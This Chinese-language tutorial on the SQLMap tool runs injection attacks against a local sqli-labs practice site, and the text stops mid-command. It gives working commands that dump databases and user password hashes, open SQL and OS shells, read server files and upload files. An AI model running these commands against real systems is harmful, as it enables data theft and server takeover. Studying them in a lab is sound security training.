SQLMap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令。
SQLMap 入门
使用靶场sqli-lab 下载phpstudy 将压缩包解压到phpsutdy下的www目录更改数据配置文件 浏览器访问127.0.0.1/sqli-lab 即可 进行安装
判断是否存在注入点
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" #弹出一堆代码可以判断存在漏洞
通过HTTP请求 是否存在注入
通过burp 抓取数据包 保存到文本文件里
python sqlmap.py -r 1.txt
那么找到了注入点 就开始干坏事了
查询当前用户下所有的数据库
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs
获取数据库中的表名
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables
获取表中的字段名
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns
获取数据库用户的密码 (本人懒 没设置密码)
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --passwords
获取当前网站的数据库名称
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-db
获取当前当前网站数据库的用户名
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-user
SQLMap 进阶
--level 5 探测等级
参数--level 5 指需要执行的测试等级 分五个等级,可不加level 默认1。
SQLMap使用的payload可以在xml/payloads.xml 中看到,也可以根据相应的格式添加自己喜欢的payload,5包含的最多,会破解cookie xff等 比较慢。
http cookie在2级时可以检测
HTTP user-Agent/Referer在3级时就会检测。
--is-dba 当前用户是否为dba权限
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --is-dba
--roles 列出数据库的管理角色
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --roles
--referer HTTP Referer头
当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,eg: --referer http://www.lvxinjie.cn
--sql-shell 运行自定义的sql 语句
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --sql-shell
--os-cmd , --os-shell 执行任意系统操作命令
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --os-cmd
--file-read 从数据库读取文件
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --file-read "C:\nc.exe"" -v 1
--file-write --file-dest 上传文件至服务器中
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --file-write "/root/n